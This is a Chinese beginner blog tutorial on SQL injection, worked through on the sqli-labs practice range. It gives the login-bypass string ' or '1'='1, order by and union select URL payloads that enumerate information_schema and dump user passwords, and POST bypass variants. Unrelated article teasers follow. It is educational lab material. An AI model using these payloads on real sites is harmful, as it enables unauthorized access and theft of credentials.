【网安小白成长之路】8.sql注入操作1

🐮博主syst1m 带你 acquire knowledge!

✨博客首页——syst1m的博客💘

🔞 《网安小白成长之路(我要变成大佬😎!!)》真实小白学习历程,手把手带你一起从入门到入狱🚭

😘《CTF专栏》超级详细的解析,宝宝级教学让你从蹒跚学步到健步如飞🙈

😎《大数据专栏》大数据从0到秃头👽,从分析到决策,无所不能❕

🔥 《python面向对象(人狗大战)》突破百万的阅读量,上过各种各样的官方大型专栏,python面向对象必学之一!🐽

🎉希望本文能够给读者带来帮助,更好地理解这个问题或解决你的困惑🐾

文章目录

前言

学习SQL注入至关重要,它不仅是网络安全领域的关键一环,更是提升技术能力的有效途径。掌握SQL注入技术,可增强对数据库安全的防范意识,为数据安全保驾护航,为职业发展增添竞争力。

sql注入操作

一、什么是sql注入

​ SQL注入(SQL Injection)是一种常见的网络攻击手段,攻击者通过在应用程序中预先定义好的查询语句的结尾上添加额外的SQL代码,来欺骗后台数据库服务器执行非授权的任意查询,从而获取或篡改数据。其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。

​ SQL注入的原理主要基于Web应用程序对用户输入的数据没有进行充分的验证和过滤。当应用程序使用用户提供的输入来构造SQL查询语句时,如果输入未经正确处理,攻击者可以插入恶意的SQL代码。这些恶意代码会被数据库误认为是正常的SQL查询部分,从而执行非预期的数据库操作。

具体来说,SQL注入攻击通常发生在以下几种情况下:

  1. 用户输入的数据未经过严格的验证和过滤,直接被拼接到SQL查询语句中。
  2. 应用程序存在SQL注入漏洞,攻击者可以通过输入特定的恶意代码来利用这些漏洞。
  3. 数据库没有实施足够的安全措施,如限制数据库用户的权限,或者使用参数化查询等。

1.sql注入简单演示

在之前的文章中我们编辑了一个简单的php登陆页面,我们就拿它来演示

' or'1'='1

我们在密码框中输入这个即可直接登陆
在这里插入图片描述
在这里插入图片描述

2.sql注入注意事项

  • 确定web攻击对象的程序设计语言
  • 查找注入点,表单、http、cookics或者后端的Ajax请求…
  • 查找出可以用于注入的输入方式

3.sql注入方法

  • 手动找到注入点,手动构造输入
  • 利用工具SQLMap进行注入

4.sql注入的危害

  • 数据泄露、篡改、丢失,盗取用户敏感信息从而获取利益
  • 通过执行大量的数据库查询或故意造成数据库锁定,导致系统资源耗尽,使服务不可用
  • 通过修改数据更改网页中的内容
  • 攻击者可以利用SQL注入来提升他们的权限,甚至可能获取数据库管理员的权限,控制整个数据库系统
  • 恶意用户可以利用SQL命令删除数据库中的重要数据,造成数据丢失和业务中断

二、sql注入实战操作

1.MySQL注入知识点

1-1.MySQL数据库元信息

information-schema数据库

  • tables表
    • table-name 表的名字
    • table-schema 表所属数据库的名字
  • columns表
    • column-name 表的名字
    • table-name 字段所属表名
    • table-schema 字段所属表所属数据库名字
1-2.MySQL数据库的常用查询
  • select user() 查看当前MySQL登录用户名
  • select database() 查看当前MySQL数据库名
  • select version() 查看当权MySQL版本
  • select @@version 查看当权MySQL版本
  • select @@basedir 查看MySQL路径
  • select length() 字符串长度
  • select substring() 截取字符串
  • select ord 返回ASCII码
  • select concat() 连接字符串
  • select sleep(4) 睡眠指定描述
  • group_concat() 查询结果放到同一行
  • limit m,n 冲m行开始,到m+n行
  • mid() 需要截取的字符串
1-3.MySQL注释
  • – 空格(%20)
  • /* */

#和–空格 表示后面的语句不被执行,如果是get请求,url中的#是用来指导浏览器动作的,对服务器无效,而–空格在传输中会被忽略,所以在get请求中使用 --+,+会被解释成空格

/* */ 内联注释,只有MySQL可以识别,常用来绕过WAF

2.sql-labs靶场实战

2-1.判断sql语句类型

我们进入Less-1

Please input the ID as parameter with numeric value

输入ID正确的值

我们可以通过 单引号 ’ 查看回显信息,是字符型还是数值型

我们在 url中 Less-1/后面输入 ?id=2’ (这里的数字随意)

在这里插入图片描述

如果返回错误的话就能判断这是一个数值型

将单引号删除看看

在这里插入图片描述

就成功了

2-2.基于get报错的注入

利用 order by 判断字段数

依旧是Less-1,我们已经知道了输入单引号 ’ 会报错,是数值型,我们可以在后面输入 order by 来判断字段数

locallhost/sqli-labs/Less-1/?id=1' order by 3 --+

输入上面的看看字段数是否是3

在这里插入图片描述

我们在往上加点看看4会有什么

在这里插入图片描述

到这里我们已经知道了这个数据表字段数有3个

现在我可以试试使用 union 查询

localhost/sqli-labs/Less-1/?id=0' union select 1,2,3 --+

这里我们需要使用一个数据表里面不存在的ID才可以

在这里插入图片描述

输入之后他会告诉你,name的字段是2,密码的字段是3

现在我们可以利用 union 联合查询和MySQL函数来查询些东西了

localhost/sqli-labs/Less-1/?id=0' union select 1,user(),database() --+

在这里插入图片描述

可以看到用户名和数据库了

上面我们讲了数据库的元信息,可以利用 group_concat() 来查看数据库的信息

localhost/sqli-labs/Less-1/?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

选择在1,2,3中的2输出 table_name table_name 来自 information_schema中的tables 条件 table_schema=database()
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()

在这里插入图片描述

根据名字知道users是用户表,我们继续使用元信息查看它的字段名

localhost/sqli-labs/Less-1/?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+

在这里插入图片描述

不知道为什么我的数据库里面有好几个名字为 uses 的表

现在我们知道了他的字段名,就可以查看它的具体信息了

localhost/sqli-labs/Less-1/?id=0' union select 1,group_concat("用户",username,"密码",password),3 from users --+

在这里插入图片描述

2-3.基于post报错的注入

这里我们使用Less-11

我们知道了用户名和密码直接登陆会显示

在这里插入图片描述

假如我们不知道,来试试万能密码

我们在后面加上 反斜杠 \ 在MySQL中 ’ 会被转义 所以下面就会显示错误出现在123123那里

在这里插入图片描述

我们在username中输入 admin’ or 1=1 --空格 会直接登陆

在这里插入图片描述

我们再去Less-12看看

在后面加上 反斜杠 \ 查看回显

在这里插入图片描述

可以看到它的闭合信息是 ") 所以我们输入的万能密码 ’ 要改成 ")

在这里插入图片描述

三、总结

今天的这期内容主要是介绍sql注入和sql注入的一些实操,内容偏多,主要是围绕sql-labs靶场进行学习,在post的注入中万能密码不也全是单引号,我们需要学会使用反斜杠看看闭合信息进行更改,如果你还有什么问题的话,记得私信我哦!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/557257.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

店前台安装水离子雾化壁炉前和装后对比

当酒店前台装上水离子雾化壁炉后,整体氛围和客户体验都会发生显著的变化: 装前: 普通的前台氛围:前台可能显得比较普通和传统,可能缺乏独特的装饰元素或视觉焦点。 视觉上缺乏吸引力:前台空间可能比较朴…

现代商业中首席人工智能官(CAIO)的角色与影响

每周跟踪AI热点新闻动向和震撼发展 想要探索生成式人工智能的前沿进展吗?订阅我们的简报,深入解析最新的技术突破、实际应用案例和未来的趋势。与全球数同行一同,从行业内部的深度分析和实用指南中受益。不要错过这个机会,成为AI领…

万字总结!Docker简介及底层关键技术剖析

本文首发在个人博客上:万字总结!Docker简介及底层关键技术剖析 Docker 简介 Docker 是一个开源的应用容器引擎,基于 Go 语言 并遵从 Apache2.0 协议开源。Docker 可以让开发者打包他们的应用以及依赖包到一个轻量级、可移植的容器中&#x…

PVE grub resue错误修复 lvmid BUG

服务器断电后启动不起来,显示grub resue 找了半天没有找到修复方法。看官方文档有一处Recovering from grub “disk not found” error when booting from LVM 极为类似。https://pve.proxmox.com/wiki/Recover_From_Grub_Failure 下面是处理过程。 使用PVE 6.4启…

使用示例解释.NET中的Mocking是什么?

让我们踏上探索.NET软件开发中Mocking概念的旅程,让我们深入了解Mocking是多么简单易懂、易于访问。请与我一起穿越这个主题,我将涵盖以下内容: 理解Mocking:为何它对于构建强大的测试策略至关重要。探索一些最常见的Mocking库&a…

python教学入门:字典和集合

字典(Dictionary): 定义: 字典是 Python 中的一种数据结构,用于存储键值对(key-value pairs)。字典使用花括号 {} 定义,键值对之间用冒号 : 分隔,每对键值对之间用逗号 …

SQL-Oracle 获取最大值,第二大,第三大,第 N 大值

目录 1、原始数据2、获取最大值记录3、获取第二大值记录4、获取第三大值记录 1、原始数据 select * from test_2024_04_15_001 order by 销量 desc,渠道2、获取最大值记录 select 渠道,销量 from ( select a.渠道, a.销量 from test_2024_04_15_001 a order by a.销量 desc,…

AI边坡监测识别摄像机

AI边坡监测识别摄像机是一种利用人工智能技术进行边坡监测的智能设备,其作用是及时监测边坡变化并识别潜在的滑坡、崩塌等危险情况,以提供及时预警和采取必要的安全措施。这种摄像机通过高清摄像头实时捕捉边坡的图像,并利用AI算法对边坡的形…

实验室三大常用仪器2---函数信号发生器的基本使用方法(笔记)

目录 函数信号发生器的基本使用方法 如何连接函数信号发生器和示波器 实验室三大常用仪器1---示波器的基本使用方法(笔记)-CSDN博客 实验室三大常用仪器3---交流毫伏表的使用方法(笔记)-CSDN博客 示波器是用来显示和测量信号的…

Java | Leetcode Java题解之第35题搜索插入位置

题目&#xff1a; 题解&#xff1a; class Solution {public int searchInsert(int[] nums, int target) {int n nums.length;int left 0, right n - 1, ans n;while (left < right) {int mid ((right - left) >> 1) left;if (target < nums[mid]) {ans mi…

阿里云图片处理之 图片样式(裁剪)

文档 : https://help.aliyun.com/zh/oss/user-guide/image-styles?spma2c4g.11186623.0.0.5961fe7aq3111v 需求 : 由于客户端界面展示的图片较多, 而且每个图片都过大并且高清高分辨率的, 导致打开页面时图片加载很慢, 而且是缩略图, 对图片清晰度要求不是那么得高, 因此可以…

ASP.NET MVC企业级程序设计 (商品管理:小计,总计,删除,排序)

目录 效果图 实现过程 1创建数据库 2创建项目文件 3创建控制器&#xff0c;右键添加&#xff0c;控制器 ​编辑 注意这里要写Home​编辑 创建成功 数据模型创建过程之前作品有具体过程​编辑 4创建DAL 5创建BLL 6创建视图&#xff0c;右键添加视图 ​编辑 7HomeCont…

【问题处理】银河麒麟操作系统实例分享,adb读写缓慢问题分析

1.问题环境 处理器&#xff1a; HUAWEI Kunpeng 920 5251K 内存&#xff1a; 512 GiB 整机类型/架构&#xff1a; TaiShan 200K (Model 2280K) BIOS版本&#xff1a; Byosoft Corp. 1.81.K 内核版本 4.19.90-23.15.v2101.ky10.aarch64 第三方应用 数据库 2.问题…

Spring Security详细学习第一篇

Spring Security 前言Spring Security入门编辑Spring Security底层原理UserDetailsService接口PasswordEncoder接口 认证登录校验密码加密存储退出登录 前言 本文是作者学习三更老师的Spring Security课程所记录的学习心得和笔记知识&#xff0c;希望能帮助到大家 Spring Sec…

buuctf——[ZJCTF 2019]NiZhuanSiWei

buuctf——[ZJCTF 2019]NiZhuanSiWei 1.绕过file_get_contents()函数 file_get_contents函数介绍 定义和用法 file_get_contents() 把整个文件读入一个字符串中。 该函数是用于把文件的内容读入到一个字符串中的首选方法。如果服务器操作系统支持&#xff0c;还会使用内存映射…

python实现将数据标准化到指定区间[a,b]+正向标准化+负向标准化

目录 一、公式介绍 (一)正向标准化公式 (二)负向标准化公式如下 (三)[a,b]取[0,1]的特例 二、构建数据集 三、自定义标准化函数 四、正向标准化 五、负向标准化 六、合并数据 一、公式介绍 将一列数据X标准化到指定区间[a,b] (一)正向标准化公式 nor_X(b-a)*(X-X_…

VUE-列表

VUE-列表 列表功能 如下例子 列表展示 <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><meta http-equiv&qu…

网络分析工具

为了实现业务目标&#xff0c;每天都要在网络上执行大量操作&#xff0c;网络管理员很难了解网络中实际发生的情况、谁消耗的带宽最多&#xff0c;并分析是否正在发生任何可能导致带宽拥塞的活动。对于大型企业和分布式网络来说&#xff0c;这些挑战是多方面的&#xff0c;为了…

AI边缘计算盒子+ThingSense管理平台,推动明厨亮灶智慧监管新篇章

背景随着“互联网”时代的浪潮汹涌而至&#xff0c;国家及各地政府纷纷在“十四五”规划中明确指出&#xff0c;强化食品安全管理&#xff0c;利用技术手段实现智慧监管是刻不容缓的任务。为此&#xff0c;各地正加速推进“互联网明厨亮灶”的建设步伐&#xff0c;实现系统对接…

C# 报输入字符串格式不正确的原因

先放错误代码 23 class Voicewater 24 { 25 public void voicealarm(int tem) 26 { 27 Console.WriteLine("现在的温度是{}度了",tem); 28 } 29 } 解决方法…